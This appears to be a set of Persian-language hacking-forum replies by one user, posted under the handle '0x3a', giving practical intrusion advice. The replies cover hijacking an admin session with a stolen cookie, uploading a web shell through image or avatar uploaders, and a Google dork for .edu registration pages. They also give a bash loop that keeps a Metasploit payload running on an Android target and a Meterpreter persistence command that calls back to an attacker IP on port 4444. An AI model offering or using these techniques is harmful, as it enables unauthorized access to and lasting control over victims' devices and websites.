0x3a

سعی کنید Open Source کار کنید قطعا سورس بهتر از لینک virustotal هست

سلام روش منسوخ شده و میبایست از روش جدید استفاده کنید

دوست عزیز اینجا یک فروم علمی هست و از ارسال مطالب فکاهی خودداری کنید اخطار اول اخطار بعدی منجر به محدودیت فعالیت های شما می شود

سلام کمبو معمولا به صورت email:password هستند

سلام @Stubborn باید خدمتتون عرض کنم قبل از انتشار یک مطلب حتما از صحت اون مطلب مطمئن بشید از تمام این لیستی که گذاشتید یه دونه تارگتم درنمیاد چون لیستتون مال 2009 هست و بدرد نمیخوره از شما به عنوان یه یوزر حرفه ای انتظار هست که موارد به این سادگی رو رعایت کنید

سلام دوست عزیز SSI در صفحات HTML با محتوای دینامیک رخ می دهد و در سمت وب سرور پردازش می شود اما هر دو جز دسته Code Injection هستند بخاطر همین شباهت هست

راهی هست که برای امنیت سورس برنامه فرایند دیکامپایل رو سخت تر کرد؟

از لینک زیر استفاده کن مشاهده لینک

سلام اولا که در جای مناسب برای پرسیدن سوال تاپیک باز کنید و سوالتونو مثل همه خلق الله بپرسید دوما که شما اگر کوکی ادمین داشته باشید اگر لاگ اوت نکنه شما میتونید با افزونه های کوکی منیجر توی مرورگرای مختلف کوکی جایگزین کنید و به عنوان مدیریت وارد بشید

inurl:/register_from_website site:edu

سوال اولتو دقیق متوجه نشدم اما برای سوال دوم یوزر و پس مستقیما نه اما با متود ریست پسورد cp میتونی اکسس بگیری

وبلاگ طور که فرمودید اگر ادیتور پست قابلیت اضافه کردن عکس داشت میتونید از اون طریق شلتونو آپ کنید یا از قسمت پروفایل ، عکس آواتار رو تغییر بدید خلاصه بگرد ببین کجا اپلودر هست حالا اگر از پنلت عکس بدی یا بیشتر توضیح بدی بیشترم میتونیم کمکت کنیم

بله ولی کمی متفاوت تر هست کد زیر رو توی یک فایل با پسوند sh قرار بده اپلود کن روی تارگت اندرویدت #!/bin/bash while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 20 done اسکرپیت رو با دستور uplaod file.sh به حافظه تارگتت انتقال بده 2 مسئله اینجا هست اگر تارگتت روت هست فایلتو توی مسیر /etc/init.d قرار بده که بعد هربار ریبوت فایل اجرا بشه اگر نیست هر جا اجرا کنی مهم نیست فقط نکته اینجاست که بعد ریبوت دسترسی از بین میره بعد از اجرا هم 2 مسئله هست اگر از استاتیک ای پی استفاده می کنی مشکلی نیست اگر روترت ریبوت بشه ولی اگر نداری اگر تارگتت ریبوت نکنه ولی روترت ریبوت بشه باز دسترسیتو از دست میدی موفق باشی

سلام برای ماندگاری دسترسی باید از سرویس Meterpreter Persistence استفاده کنید ، با اینکار یک فایل درون Startup سیستم قربانی قرار داده می شود که باعث می شود طبق تعریفی که به آن در هنگام ساخت دادید به شما درخواست برای کانکت شدن ارسال کند meterpreter > run persistence -X -i 3 -p 4444 -r YOUR_IP سوییچ -X باعث می شود هرگاه سیستم قربانی روشن شد اسکریپت اجرا شود سوییچ -i برای تعیین فاصله زمانی بین هر درخواست برای کانکت شدن است سوییچ های -p و -r هم که مشخصا برای تعیین ip و port هست شما فقط کافیست هر زمان که نیاز به اتصال دوباره داشتید listener خود را روی پورتی که مشخص کردید ران کنید تا دوباره به تارگت متصل شوید موفق باشید

سلام بنظرم برای شروع کتاب Owasp top 10 و Web hacking 101 که هر دو pdf موجود در نت هست رو مطالعه کنید سطحتون ارتقا پیدا می کنه